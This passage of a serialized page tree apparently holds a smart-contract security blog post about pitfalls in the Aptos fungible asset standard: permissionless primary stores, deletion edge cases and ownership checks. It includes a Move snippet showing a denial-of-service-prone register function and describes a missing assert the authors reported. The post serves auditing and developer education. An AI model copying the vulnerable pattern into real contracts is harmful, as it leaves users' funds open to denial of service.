stores",{"type":24,"tag":25,"props":68155,"children":68156},{},[68157,68163,68165,68171,68173,68178],{"type":24,"tag":80,"props":68158,"children":68160},{"className":68159},[],[68161],{"type":29,"value":68162},"FungibleStores",{"type":29,"value":68164}," in comparison to ",{"type":24,"tag":80,"props":68166,"children":68168},{"className":68167},[],[68169],{"type":29,"value":68170},"CoinStores",{"type":29,"value":68172}," are not unique. Each user can have multiple ",{"type":24,"tag":80,"props":68174,"children":68176},{"className":68175},[],[68177],{"type":29,"value":67658},{"type":29,"value":68179}," objects for a given token!",{"type":24,"tag":25,"props":68181,"children":68182},{},[68183,68185,68192,68194,68199],{"type":29,"value":68184},"A primary fungible store is maintained via the aptly named ",{"type":24,"tag":2773,"props":68186,"children":68189},{"href":68187,"rel":68188},"https://github.com/aptos-labs/aptos-core/blob/2bea962eac4743db6cc0ae2e8a2fd7fcc323b121/aptos-move/framework/aptos-framework/sources/primary_fungible_store.move",[2777],[68190],{"type":29,"value":68191},"primary_fungible_store",{"type":29,"value":68193}," module. It's \"primary\" because of its deterministic location, which is calculated using the owner and the fungible asset's ",{"type":24,"tag":80,"props":68195,"children":68197},{"className":68196},[],[68198],{"type":29,"value":67152},{"type":29,"value":68200}," addresses. Users can also create a number of \"secondary\" fungible stores by themselves.",{"type":24,"tag":25,"props":68202,"children":68203},{},[68204],{"type":29,"value":68205},"One key feature of the primary fungible stores is their permissionless creation. This can lead to surprising denial of service bugs!",{"type":24,"tag":137,"props":68207,"children":68209},{"className":8614,"code":68208,"language":8613,"meta":7,"style":7},"public entry fun register(\n    user: &signer, [...]\n) acquires [...] {\n    [...]\n    let wallet_store = create_primary_store(signer::address_of(sender), get_metadata());\n    [...]\n}\n",[68210],{"type":24,"tag":80,"props":68211,"children":68212},{"__ignoreMap":7},[68213,68238,68270,68293,68309,68363,68378],{"type":24,"tag":147,"props":68214,"children":68215},{"class":149,"line":150},[68216,68220,68225,68229,68234],{"type":24,"tag":147,"props":68217,"children":68218},{"style":247},[68219],{"type":29,"value":67257},{"type":24,"tag":147,"props":68221,"children":68222},{"style":247},[68223],{"type":29,"value":68224}," entry",{"type":24,"tag":147,"props":68226,"children":68227},{"style":247},[68228],{"type":29,"value":11832},{"type":24,"tag":147,"props":68230,"children":68231},{"style":229},[68232],{"type":29,"value":68233}," register",{"type":24,"tag":147,"props":68235,"children":68236},{"style":235},[68237],{"type":29,"value":9088},{"type":24,"tag":147,"props":68239,"children":68240},{"class":149,"line":160},[68241,68246,68250,68254,68258,68262,68266],{"type":24,"tag":147,"props":68242,"children":68243},{"style":247},[68244],{"type":29,"value":68245},"    user",{"type":24,"tag":147,"props":68247,"children":68248},{"style":241},[68249],{"type":29,"value":978},{"type":24,"tag":147,"props":68251,"children":68252},{"style":241},[68253],{"type":29,"value":12767},{"type":24,"tag":147,"props":68255,"children":68256},{"style":247},[68257],{"type":29,"value":12772},{"type":24,"tag":147,"props":68259,"children":68260},{"style":235},[68261],{"type":29,"value":49735},{"type":24,"tag":147,"props":68263,"children":68264},{"style":241},[68265],{"type":29,"value":15212},{"type":24,"tag":147,"props":68267,"children":68268},{"style":235},[68269],{"type":29,"value":17391},{"type":24,"tag":147,"props":68271,"children":68272},{"class":149,"line":169},[68273,68277,68281,68285,68289],{"type":24,"tag":147,"props":68274,"children":68275},{"style":235},[68276],{"type":29,"value":564},{"type":24,"tag":147,"props":68278,"children":68279},{"style":247},[68280],{"type":29,"value":11969},{"type":24,"tag":147,"props":68282,"children":68283},{"style":235},[68284],{"type":29,"value":28634},{"type":24,"tag":147,"props":68286,"children":68287},{"style":241},[68288],{"type":29,"value":15212},{"type":24,"tag":147,"props":68290,"children":68291},{"style":235},[68292],{"type":29,"value":67348},{"type":24,"tag":147,"props":68294,"children":68295},{"class":149,"line":178},[68296,68301,68305],{"type":24,"tag":147,"props":68297,"children":68298},{"style":235},[68299],{"type":29,"value":68300},"    [",{"type":24,"tag":147,"props":68302,"children":68303},{"style":241},[68304],{"type":29,"value":15212},{"type":24,"tag":147,"props":68306,"children":68307},{"style":235},[68308],{"type":29,"value":17391},{"type":24,"tag":147,"props":68310,"children":68311},{"class":149,"line":187},[68312,68316,68321,68325,68330,68334,68338,68342,68346,68350,68354,68359],{"type":24,"tag":147,"props":68313,"children":68314},{"style":218},[68315],{"type":29,"value":8634},{"type":24,"tag":147,"props":68317,"children":68318},{"style":247},[68319],{"type":29,"value":68320}," wallet_store",{"type":24,"tag":147,"props":68322,"children":68323},{"style":241},[68324],{"type":29,"value":651},{"type":24,"tag":147,"props":68326,"children":68327},{"style":229},[68328],{"type":29,"value":68329}," create_primary_store",{"type":24,"tag":147,"props":68331,"children":68332},{"style":235},[68333],{"type":29,"value":12826},{"type":24,"tag":147,"props":68335,"children":68336},{"style":241},[68337],{"type":29,"value":9106},{"type":24,"tag":147,"props":68339,"children":68340},{"style":229},[68341],{"type":29,"value":12835},{"type":24,"tag":147,"props":68343,"children":68344},{"style":235},[68345],{"type":29,"value":480},{"type":24,"tag":147,"props":68347,"children":68348},{"style":247},[68349],{"type":29,"value":67443},{"type":24,"tag":147,"props":68351,"children":68352},{"style":235},[68353],{"type":29,"value":20789},{"type":24,"tag":147,"props":68355,"children":68356},{"style":229},[68357],{"type":29,"value":68358},"get_metadata",{"type":24,"tag":147,"props":68360,"children":68361},{"style":235},[68362],{"type":29,"value":21037},{"type":24,"tag":147,"props":68364,"children":68365},{"class":149,"line":196},[68366,68370,68374],{"type":24,"tag":147,"props":68367,"children":68368},{"style":235},[68369],{"type":29,"value":68300},{"type":24,"tag":147,"props":68371,"children":68372},{"style":241},[68373],{"type":29,"value":15212},{"type":24,"tag":147,"props":68375,"children":68376},{"style":235},[68377],{"type":29,"value":17391},{"type":24,"tag":147,"props":68379,"children":68380},{"class":149,"line":205},[68381],{"type":24,"tag":147,"props":68382,"children":68383},{"style":235},[68384],{"type":29,"value":827},{"type":24,"tag":25,"props":68386,"children":68387},{},[68388,68389,68395,68397,68403],{"type":29,"value":5094},{"type":24,"tag":80,"props":68390,"children":68392},{"className":68391},[],[68393],{"type":29,"value":68394},"create_primary_store",{"type":29,"value":68396}," function can introduce DoS vulnerabilities because it aborts if the store already exists. Using ",{"type":24,"tag":80,"props":68398,"children":68400},{"className":68399},[],[68401],{"type":29,"value":68402},"ensure_primary_store_exists",{"type":29,"value":68404}," is recommended to avoid such issues.",{"type":24,"tag":32,"props":68406,"children":68408},{"id":68407},"fungible-assets-and-objects",[68409],{"type":29,"value":68410},"Fungible assets and objects",{"type":24,"tag":25,"props":68412,"children":68413},{},[68414,68416,68421,68423,68430],{"type":29,"value":68415},"The fungible asset standard is not a standalone module. It has heavy dependencies on a sibling module, the ",{"type":24,"tag":80,"props":68417,"children":68419},{"className":68418},[],[68420],{"type":29,"value":54449},{"type":29,"value":68422}," module, introduced in ",{"type":24,"tag":2773,"props":68424,"children":68427},{"href":68425,"rel":68426},"https://github.com/aptos-foundation/AIPs/blob/main/aips/aip-10.md",[2777],[68428],{"type":29,"value":68429},"AIP-10",{"type":29,"value":87},{"type":24,"tag":98,"props":68432,"children":68433},{},[68434],{"type":24,"tag":25,"props":68435,"children":68436},{},[68437,68441],{"type":24,"tag":147,"props":68438,"children":68439},{},[68440],{"type":29,"value":67032},{"type":29,"value":68442}," proposes a standard for Fungible Assets (FA) using Move Objects. In this model, any on-chain asset represented as an object can also be expressed as a fungible asset allowing for a single object to be represented by many distinct, yet interchangeable units of ownership.",{"type":24,"tag":25,"props":68444,"children":68445},{},[68446],{"type":29,"value":68447},"These two modules are closely intertwined, and their connection can be surprisingly intricate.",{"type":24,"tag":43,"props":68449,"children":68451},{"id":68450},"creation-and-deletion",[68452],{"type":29,"value":68453},"Creation and deletion",{"type":24,"tag":25,"props":68455,"children":68456},{},[68457,68459,68465],{"type":29,"value":68458},"To create a fungible resource, an undeletable object must first be created. \"Undeletable\" means, that it's not possible to get a permission to delete it. This is verified in ",{"type":24,"tag":80,"props":68460,"children":68462},{"className":68461},[],[68463],{"type":29,"value":68464},"fungible_asset::add_fungibility",{"type":29,"value":978},{"type":24,"tag":137,"props":68467,"children":68469},{"className":8614,"code":68468,"language":8613,"meta":7,"style":7},"assert!(!object::can_generate_delete_ref(constructor_ref), error::invalid_argument(EOBJECT_IS_DELETABLE));\n",[68470],{"type":24,"tag":80,"props":68471,"children":68472},{"__ignoreMap":7},[68473],{"type":24,"tag":147,"props":68474,"children":68475},{"class":149,"line":150},[68476,68480,68484,68488,68493,68497,68502,68506,68511,68516,68520,68524],{"type":24,"tag":147,"props":68477,"children":68478},{"style":229},[68479],{"type":29,"value":47580},{"type":24,"tag":147,"props":68481,"children":68482},{"style":235},[68483],{"type":29,"value":480},{"type":24,"tag":147,"props":68485,"children":68486},{"style":241},[68487],{"type":29,"value":413},{"type":24,"tag":147,"props":68489,"children":68490},{"style":235},[68491],{"type":29,"value":68492},"object",{"type":24,"tag":147,"props":68494,"children":68495},{"style":241},[68496],{"type":29,"value":9106},{"type":24,"tag":147,"props":68498,"children":68499},{"style":229},[68500],{"type":29,"value":68501},"can_generate_delete_ref",{"type":24,"tag":147,"props":68503,"children":68504},{"style":235},[68505],{"type":29,"value":480},{"type":24,"tag":147,"props":68507,"children":68508},{"style":247},[68509],{"type":29,"value":68510},"constructor_ref",{"type":24,"tag":147,"props":68512,"children":68513},{"style":235},[68514],{"type":29,"value":68515},"), error",{"type":24,"tag":147,"props":68517,"children":68518},{"style":241},[68519],{"type":29,"value":9106},{"type":24,"tag":147,"props":68521,"children":68522},{"style":229},[68523],{"type":29,"value":67956},{"type":24,"tag":147,"props":68525,"children":68526},{"style":235},[68527],{"type":29,"value":68528},"(EOBJECT_IS_DELETABLE));\n",{"type":24,"tag":25,"props":68530,"children":68531},{},[68532,68534,68539,68541,68546,68547,68554],{"type":29,"value":68533},"This object serves as the foundation for ownership tokens in the form of a ",{"type":24,"tag":80,"props":68535,"children":68537},{"className":68536},[],[68538],{"type":29,"value":67093},{"type":29,"value":68540},". This means that allowing it to be deletable wouldn't make sense and would impact the usability of such fungible assets, restricting users from accessing critical functionalities such as creating new stores. In the past the ",{"type":24,"tag":80,"props":68542,"children":68544},{"className":68543},[],[68545],{"type":29,"value":68464},{"type":29,"value":12083},{"type":24,"tag":2773,"props":68548,"children":68551},{"href":68549,"rel":68550},"https://github.com/aptos-labs/aptos-core/commit/6976f8e9004b0f6ebb6fd976410d695c5a5a7ace",[2777],[68552],{"type":29,"value":68553},"lacked this assert",{"type":29,"value":68555},", which we discovered and reported.",{"type":24,"tag":25,"props":68557,"children":68558},{},[68559,68564,68566,68571,68573,68578],{"type":24,"tag":80,"props":68560,"children":68562},{"className":68561},[],[68563],{"type":29,"value":68464},{"type":29,"value":68565}," transfers the ",{"type":24,"tag":80,"props":68567,"children":68569},{"className":68568},[],[68570],{"type":29,"value":67152},{"type":29,"value":68572}," and associated resources to this new object. After that, with the appropriate permissions, the ",{"type":24,"tag":80,"props":68574,"children":68576},{"className":68575},[],[68577],{"type":29,"value":67093},{"type":29,"value":68579}," can be minted, representing a share of ownership in that object.",{"type":24,"tag":137,"props":68581,"children":68583},{"className":8614,"code":68582,"language":8613,"meta":7,"style":7},"/// Make an existing object fungible by adding the Metadata resource.\npublic fun add_fungibility(\n    [...]\n): Object\u003CMetadata> {\n    [...]\n    move_to(metadata_object_signer,\n        Metadata {\n            name,\n            symbol,\n            decimals,\n            icon_uri,\n            project_uri,\n        }\n    );\n[...]\n}\n",[68584],{"type":24,"tag":80,"props":68585,"children":68586},{"__ignoreMap":7},[68587,68595,68615,68630,68657,68672,68693,68705,68717,68729,68741,68753,68765,68772,68779,68794],{"type":24,"tag":147,"props":68588,"children":68589},{"class":149,"line":150},[68590],{"type":24,"tag":147,"props":68591,"children":68592},{"style":154},[68593],{"type":29,"value":68594},"/// Make an existing object fungible by adding the Metadata resource.\n",{"type":24,"tag":147,"props":68596,"children":68597},{"class":149,"line":160},[68598,68602,68606,68611],{"type":24,"tag":147,"props":68599,"children":68600},{"style":247},[68601],{"type":29,"value":67257},{"type":24,"tag":147,"props":68603,"children":68604},{"style":247},[68605],{"type":29,"value":11832},{"type":24,"tag":147,"props":68607,"children":68608},{"style":229},[68609],{"type":29,"value":68610}," add_fungibility",{"type":24,"tag":147,"props":68612,"children":68613},{"style":235},[68614],{"type":29,"value":9088},{"type":24,"tag":147,"props":68616,"children":68617},{"class":149,"line":169},[68618,68622,68626],{"type":24,"tag":147,"props":68619,"children":68620},{"style":235},[68621],{"type":29,"value":68300},{"type":24,"tag":147,"props":68623,"children":68624},{"style":241},[68625],{"type":29,"value":15212},{"type":24,"tag":147,"props":68627,"children":68628},{"style":235},[68629],{"type":29,"value":17391},{"type":24,"tag":147,"props":68631,"children":68632},{"class":149,"line":178},[68633,68637,68641,68645,68649,68653],{"type":24,"tag":147,"props":68634,"children":68635},{"style":235},[68636],{"type":29,"value":8758},{"type":24,"tag":147,"props":68638,"children":68639},{"style":241},[68640],{"type":29,"value":978},{"type":24,"tag":147,"props":68642,"children":68643},{"style":9044},[68644],{"type":29,"value":67143},{"type":24,"tag":147,"props":68646,"children":68647},{"style":235},[68648],{"type":29,"value":3583},{"type":24,"tag":147,"props":68650,"children":68651},{"style":9044},[68652],{"type":29,"value":67152},{"type":24,"tag":147,"props":68654,"children":68655},{"style":235},[68656],{"type":29,"value":12907},{"type":24,"tag":147,"props":68658,"children":68659},{"class":149,"line":187},[68660,68664,68668],{"type":24,"tag":147,"props":68661,"children":68662},{"style":235},[68663],{"type":29,"value":68300},{"type":24,"tag":147,"props":68665,"children":68666},{"style":241},[68667],{"type":29,"value":15212},{"type":24,"tag":147,"props":68669,"children":68670},{"style":235},[68671],{"type":29,"value":17391},{"type":24,"tag":147,"props":68673,"children":68674},{"class":149,"line":196},[68675,68680,68684,68689],{"type":24,"tag":147,"props":68676,"children":68677},{"style":229},[68678],{"type":29,"value":68679},"    move_to",{"type":24,"tag":147,"props":68681,"children":68682},{"style":235},[68683],{"type":29,"value":480},{"type":24,"tag":147,"props":68685,"children":68686},{"style":247},[68687],{"type":29,"value":68688},"metadata_object_signer",{"type":24,"tag":147,"props":68690,"children":68691},{"style":235},[68692],{"type":29,"value":1549},{"type":24,"tag":147,"props":68694,"children":68695},{"class":149,"line":205},[68696,68701],{"type":24,"tag":147,"props":68697,"children":68698},{"style":9044},[68699],{"type":29,"value":68700},"        Metadata",{"type":24,"tag":147,"props":68702,"children":68703},{"style":235},[68704],{"type":29,"value":6630},{"type":24,"tag":147,"props":68706,"children":68707},{"class":149,"line":214},[68708,68713],{"type":24,"tag":147,"props":68709,"children":68710},{"style":247},[68711],{"type":29,"value":68712},"            name",{"type":24,"tag":147,"props":68714,"children":68715},{"style":235},[68716],{"type":29,"value":1549},{"type":24,"tag":147,"props":68718,"children":68719},{"class":149,"line":272},[68720,68725],{"type":24,"tag":147,"props":68721,"children":68722},{"style":247},[68723],{"type":29,"value":68724},"            symbol",{"type":24,"tag":147,"props":68726,"children":68727},{"style":235},[68728],{"type":29,"value":1549},{"type":24,"tag":147,"props":68730,"children":68731},{"class":149,"line":281},[68732,68737],{"type":24,"tag":147,"props":68733,"children":68734},{"style":247},[68735],{"type":29,"value":68736},"            decimals",{"type":24,"tag":147,"props":68738,"children":68739},{"style":235},[68740],{"type":29,"value":1549},{"type":24,"tag":147,"props":68742,"children":68743},{"class":149,"line":299},[68744,68749],{"type":24,"tag":147,"props":68745,"children":68746},{"style":247},[68747],{"type":29,"value":68748},"            icon_uri",{"type":24,"tag":147,"props":68750,"children":68751},{"style":235},[68752],{"type":29,"value":1549},{"type":24,"tag":147,"props":68754,"children":68755},{"class":149,"line":308},[68756,68761],{"type":24,"tag":147,"props":68757,"children":68758},{"style":247},[68759],{"type":29,"value":68760},"            project_uri",{"type":24,"tag":147,"props":68762,"children":68763},{"style":235},[68764],{"type":29,"value":1549},{"type":24,"tag":147,"props":68766,"children":68767},{"class":149,"line":317},[68768],{"type":24,"tag":147,"props":68769,"children":68770},{"style":235},[68771],{"type":29,"value":441},{"type":24,"tag":147,"props":68773,"children":68774},{"class":149,"line":332},[68775],{"type":24,"tag":147,"props":68776,"children":68777},{"style":235},[68778],{"type":29,"value":49254},{"type":24,"tag":147,"props":68780,"children":68781},{"class":149,"line":350},[68782,68786,68790],{"type":24,"tag":147,"props":68783,"children":68784},{"style":235},[68785],{"type":29,"value":9358},{"type":24,"tag":147,"props":68787,"children":68788},{"style":241},[68789],{"type":29,"value":15212},{"type":24,"tag":147,"props":68791,"children":68792},{"style":235},[68793],{"type":29,"value":17391},{"type":24,"tag":147,"props":68795,"children":68796},{"class":149,"line":358},[68797],{"type":24,"tag":147,"props":68798,"children":68799},{"style":235},[68800],{"type":29,"value":827},{"type":24,"tag":2665,"props":68802,"children":68803},{},[],{"type":24,"tag":25,"props":68805,"children":68806},{},[68807,68809,68814,68816,68821],{"type":29,"value":68808},"Deletions can be a big issue even when dealing with objects that are eligible for deletion. For example, a ",{"type":24,"tag":80,"props":68810,"children":68812},{"className":68811},[],[68813],{"type":29,"value":67658},{"type":29,"value":68815}," is also an object, and a \"secondary\" ",{"type":24,"tag":80,"props":68817,"children":68819},{"className":68818},[],[68820],{"type":29,"value":67658},{"type":29,"value":68822}," can be created as deletable if empty. The catch is that deletion can occur both at the fungible asset level and at the object level.",{"type":24,"tag":137,"props":68824,"children":68826},{"className":8614,"code":68825,"language":8613,"meta":7,"style":7},"//Fungible asset\npublic fun remove_store(delete_ref: &DeleteRef)\n\n//Object\npublic fun delete(ref: DeleteRef)\n",[68827],{"type":24,"tag":80,"props":68828,"children":68829},{"__ignoreMap":7},[68830,68838,68880,68887,68895],{"type":24,"tag":147,"props":68831,"children":68832},{"class":149,"line":150},[68833],{"type":24,"tag":147,"props":68834,"children":68835},{"style":154},[68836],{"type":29,"value":68837},"//Fungible asset\n",{"type":24,"tag":147,"props":68839,"children":68840},{"class":149,"line":160},[68841,68845,68849,68854,68858,68863,68867,68871,68876],{"type":24,"tag":147,"props":68842,"children":68843},{"style":247},[68844],{"type":29,"value":67257},{"type":24,"tag":147,"props":68846,"children":68847},{"style":247},[68848],{"type":29,"value":11832},{"type":24,"tag":147,"props":68850,"children":68851},{"style":229},[68852],{"type":29,"value":68853}," remove_store",{"type":24,"tag":147,"props":68855,"children":68856},{"style":235},[68857],{"type":29,"value":480},{"type":24,"tag":147,"props":68859,"children":68860},{"style":247},[68861],{"type":29,"value":68862},"delete_ref",{"type":24,"tag":147,"props":68864,"children":68865},{"style":241},[68866],{"type":29,"value":978},{"type":24,"tag":147,"props":68868,"children":68869},{"style":241},[68870],{"type":29,"value":12767},{"type":24,"tag":147,"props":68872,"children":68873},{"style":9044},[68874],{"type":29,"value":68875},"DeleteRef",{"type":24,"tag":147,"props":68877,"children":68878},{"style":235},[68879],{"type":29,"value":269},{"type":24,"tag":147,"props":68881,"children":68882},{"class":149,"line":169},[68883],{"type":24,"tag":147,"props":68884,"children":68885},{"emptyLinePlaceholder":16},[68886],{"type":29,"value":314},{"type":24,"tag":147,"props":68888,"children":68889},{"class":149,"line":178},[68890],{"type":24,"tag":147,"props":68891,"children":68892},{"style":154},[68893],{"type":29,"value":68894},"//Object\n",{"type":24,"tag":147,"props":68896,"children":68897},{"class":149,"line":187},[68898,68902,68906,68911,68915,68920,68924,68929],{"type":24,"tag":147,"props":68899,"children":68900},{"style":247},[68901],{"type":29,"value":67257},{"type":24,"tag":147,"props":68903,"children":68904},{"style":247},[68905],{"type":29,"value":11832},{"type":24,"tag":147,"props":68907,"children":68908},{"style":229},[68909],{"type":29,"value":68910}," delete",{"type":24,"tag":147,"props":68912,"children":68913},{"style":235},[68914],{"type":29,"value":480},{"type":24,"tag":147,"props":68916,"children":68917},{"style":218},[68918],{"type":29,"value":68919},"ref",{"type":24,"tag":147,"props":68921,"children":68922},{"style":241},[68923],{"type":29,"value":978},{"type":24,"tag":147,"props":68925,"children":68926},{"style":9044},[68927],{"type":29,"value":68928}," DeleteRef",{"type":24,"tag":147,"props":68930,"children":68931},{"style":235},[68932],{"type":29,"value":269},{"type":24,"tag":25,"props":68934,"children":68935},{},[68936,68938,68944,68946,68951,68953,68958,68960,68965,68967,68973,68975,68981,68983,68988],{"type":29,"value":68937},"When ",{"type":24,"tag":80,"props":68939,"children":68941},{"className":68940},[],[68942],{"type":29,"value":68943},"object::delete",{"type":29,"value":68945}," removes the ",{"type":24,"tag":80,"props":68947,"children":68949},{"className":68948},[],[68950],{"type":29,"value":54449},{"type":29,"value":68952}," from a ",{"type":24,"tag":80,"props":68954,"children":68956},{"className":68955},[],[68957],{"type":29,"value":67658},{"type":29,"value":68959}," object, the ",{"type":24,"tag":80,"props":68961,"children":68963},{"className":68962},[],[68964],{"type":29,"value":67658},{"type":29,"value":68966}," resource becomes permanently undeletable. This is because ",{"type":24,"tag":80,"props":68968,"children":68970},{"className":68969},[],[68971],{"type":29,"value":68972},"remove_store",{"type":29,"value":68974}," can't create an ",{"type":24,"tag":80,"props":68976,"children":68978},{"className":68977},[],[68979],{"type":29,"value":68980},"Object\u003CFungibleStore>",{"type":29,"value":68982}," without an ",{"type":24,"tag":80,"props":68984,"children":68986},{"className":68985},[],[68987],{"type":29,"value":54449},{"type":29,"value":68989}," underneath, causing the operation to fail.",{"type":24,"tag":137,"props":68991,"children":68993},{"className":8614,"code":68992,"language":8613,"meta":7,"style":7},"public fun remove_store(delete_ref: &DeleteRef) acquires [...] {\n    let store = &object::object_from_delete_ref\u003CFungibleStore>(delete_ref);\n    [...]\n}\n",[68994],{"type":24,"tag":80,"props":68995,"children":68996},{"__ignoreMap":7},[68997,69052,69104,69119],{"type":24,"tag":147,"props":68998,"children":68999},{"class":149,"line":150},[69000,69004,69008,69012,69016,69020,69024,69028,69032,69036,69040,69044,69048],{"type":24,"tag":147,"props":69001,"children":69002},{"style":247},[69003],{"type":29,"value":67257},{"type":24,"tag":147,"props":69005,"children":69006},{"style":247},[69007],{"type":29,"value":11832},{"type":24,"tag":147,"props":69009,"children":69010},{"style":229},[69011],{"type":29,"value":68853},{"type":24,"tag":147,"props":69013,"children":69014},{"style":235},[69015],{"type":29,"value":480},{"type":24,"tag":147,"props":69017,"children":69018},{"style":247},[69019],{"type":29,"value":68862},{"type":24,"tag":147,"props":69021,"children":69022},{"style":241},[69023],{"type":29,"value":978},{"type":24,"tag":147,"props":69025,"children":69026},{"style":241},[69027],{"type":29,"value":12767},{"type":24,"tag":147,"props":69029,"children":69030},{"style":9044},[69031],{"type":29,"value":68875},{"type":24,"tag":147,"props":69033,"children":69034},{"style":235},[69035],{"type":29,"value":564},{"type":24,"tag":147,"props":69037,"children":69038},{"style":247},[69039],{"type":29,"value":11969},{"type":24,"tag":147,"props":69041,"children":69042},{"style":235},[69043],{"type":29,"value":28634},{"type":24,"tag":147,"props":69045,"children":69046},{"style":241},[69047],{"type":29,"value":15212},{"type":24,"tag":147,"props":69049,"children":69050},{"style":235},[69051],{"type":29,"value":67348},{"type":24,"tag":147,"props":69053,"children":69054},{"class":149,"line":160},[69055,69059,69063,69067,69071,69075,69079,69084,69088,69092,69096,69100],{"type":24,"tag":147,"props":69056,"children":69057},{"style":218},[69058],{"type":29,"value":8634},{"type":24,"tag":147,"props":69060,"children":69061},{"style":247},[69062],{"type":29,"value":11455},{"type":24,"tag":147,"props":69064,"children":69065},{"style":241},[69066],{"type":29,"value":651},{"type":24,"tag":147,"props":69068,"children":69069},{"style":241},[69070],{"type":29,"value":12767},{"type":24,"tag":147,"props":69072,"children":69073},{"style":235},[69074],{"type":29,"value":68492},{"type":24,"tag":147,"props":69076,"children":69077},{"style":241},[69078],{"type":29,"value":9106},{"type":24,"tag":147,"props":69080,"children":69081},{"style":247},[69082],{"type":29,"value":69083},"object_from_delete_ref",{"type":24,"tag":147,"props":69085,"children":69086},{"style":235},[69087],{"type":29,"value":3583},{"type":24,"tag":147,"props":69089,"children":69090},{"style":9044},[69091],{"type":29,"value":67658},{"type":24,"tag":147,"props":69093,"children":69094},{"style":235},[69095],{"type":29,"value":13236},{"type":24,"tag":147,"props":69097,"children":69098},{"style":247},[69099],{"type":29,"value":68862},{"type":24,"tag":147,"props":69101,"children":69102},{"style":235},[69103],{"type":29,"value":1473},{"type":24,"tag":147,"props":69105,"children":69106},{"class":149,"line":169},[69107,69111,69115],{"type":24,"tag":147,"props":69108,"children":69109},{"style":235},[69110],{"type":29,"value":68300},{"type":24,"tag":147,"props":69112,"children":69113},{"style":241},[69114],{"type":29,"value":15212},{"type":24,"tag":147,"props":69116,"children":69117},{"style":235},[69118],{"type":29,"value":17391},{"type":24,"tag":147,"props":69120,"children":69121},{"class":149,"line":178},[69122],{"type":24,"tag":147,"props":69123,"children":69124},{"style":235},[69125],{"type":29,"value":827},{"type":24,"tag":25,"props":69127,"children":69128},{},[69129,69131,69136,69138,69144,69146,69151],{"type":29,"value":69130},"In addition, such \"deleted\" ",{"type":24,"tag":80,"props":69132,"children":69134},{"className":69133},[],[69135],{"type":29,"value":67658},{"type":29,"value":69137}," objects remain at least partially operable. For instance, ",{"type":24,"tag":80,"props":69139,"children":69141},{"className":69140},[],[69142],{"type":29,"value":69143},"fungible_asset::deposit",{"type":29,"value":69145}," does not check the ",{"type":24,"tag":80,"props":69147,"children":69149},{"className":69148},[],[69150],{"type":29,"value":54449},{"type":29,"value":69152}," existence.",{"type":24,"tag":43,"props":69154,"children":69156},{"id":69155},"ownership",[69157],{"type":29,"value":69158},"Ownership",{"type":24,"tag":25,"props":69160,"children":69161},{},[69162,69164,69169,69171,69177,69179,69184],{"type":29,"value":69163},"Each object has an owner. Fungible assets rely on the ",{"type":24,"tag":80,"props":69165,"children":69167},{"className":69166},[],[69168],{"type":29,"value":54449},{"type":29,"value":69170}," ownership model. For example, during a withdrawal operation, the signer is validated using ",{"type":24,"tag":80,"props":69172,"children":69174},{"className":69173},[],[69175],{"type":29,"value":69176},"object::owns",{"type":29,"value":69178}," to confirm ownership of the ",{"type":24,"tag":80,"props":69180,"children":69182},{"className":69181},[],[69183],{"type":29,"value":67658},{"type":29,"value":55774},{"type":24,"tag":137,"props":69186,"children":69188},{"className":8614,"code":69187,"language":8613,"meta":7,"style":7},"public(friend) fun withdraw_sanity_check\u003CT: key>(\n    owner: &signer,\n    store: Object\u003CT>,\n    abort_on_dispatch: bool,\n) acquires FungibleStore, DispatchFunctionStore {\n    assert!(object::owns(store, signer::address_of(owner)), error::permission_denied(ENOT_STORE_OWNER));\n    [...]\n}\n",[69189],{"type":24,"tag":80,"props":69190,"children":69191},{"__ignoreMap":7},[69192,69240,69264,69291,69311,69339,69407,69422],{"type":24,"tag":147,"props":69193,"children":69194},{"class":149,"line":150},[69195,69199,69203,69207,69211,69215,69220,69224,69228,69232,69236],{"type":24,"tag":147,"props":69196,"children":69197},{"style":229},[69198],{"type":29,"value":67257},{"type":24,"tag":147,"props":69200,"children":69201},{"style":235},[69202],{"type":29,"value":480},{"type":24,"tag":147,"props":69204,"children":69205},{"style":247},[69206],{"type":29,"value":12724},{"type":24,"tag":147,"props":69208,"children":69209},{"style":235},[69210],{"type":29,"value":564},{"type":24,"tag":147,"props":69212,"children":69213},{"style":247},[69214],{"type":29,"value":12733},{"type":24,"tag":147,"props":69216,"children":69217},{"style":247},[69218],{"type":29,"value":69219}," withdraw_sanity_check",{"type":24,"tag":147,"props":69221,"children":69222},{"style":235},[69223],{"type":29,"value":3583},{"type":24,"tag":147,"props":69225,"children":69226},{"style":9044},[69227],{"type":29,"value":11612},{"type":24,"tag":147,"props":69229,"children":69230},{"style":241},[69231],{"type":29,"value":978},{"type":24,"tag":147,"props":69233,"children":69234},{"style":247},[69235],{"type":29,"value":11556},{"type":24,"tag":147,"props":69237,"children":69238},{"style":235},[69239],{"type":29,"value":12214},{"type":24,"tag":147,"props":69241,"children":69242},{"class":149,"line":160},[69243,69248,69252,69256,69260],{"type":24,"tag":147,"props":69244,"children":69245},{"style":247},[69246],{"type":29,"value":69247},"    owner",{"type":24,"tag":147,"props":69249,"children":69250},{"style":241},[69251],{"type":29,"value":978},{"type":24,"tag":147,"props":69253,"children":69254},{"style":241},[69255],{"type":29,"value":12767},{"type":24,"tag":147,"props":69257,"children":69258},{"style":247},[69259],{"type":29,"value":12772},{"type":24,"tag":147,"props":69261,"children":69262},{"style":235},[69263],{"type":29,"value":1549},{"type":24,"tag":147,"props":69265,"children":69266},{"class":149,"line":169},[69267,69271,69275,69279,69283,69287],{"type":24,"tag":147,"props":69268,"children":69269},{"style":247},[69270],{"type":29,"value":35015},{"type":24,"tag":147,"props":69272,"children":69273},{"style":241},[69274],{"type":29,"value":978},{"type":24,"tag":147,"props":69276,"children":69277},{"style":9044},[69278],{"type":29,"value":67143},{"type":24,"tag":147,"props":69280,"children":69281},{"style":235},[69282],{"type":29,"value":3583},{"type":24,"tag":147,"props":69284,"children":69285},{"style":9044},[69286],{"type":29,"value":11612},{"type":24,"tag":147,"props":69288,"children":69289},{"style":235},[69290],{"type":29,"value":11763},{"type":24,"tag":147,"props":69292,"children":69293},{"class":149,"line":178},[69294,69299,69303,69307],{"type":24,"tag":147,"props":69295,"children":69296},{"style":247},[69297],{"type":29,"value":69298},"    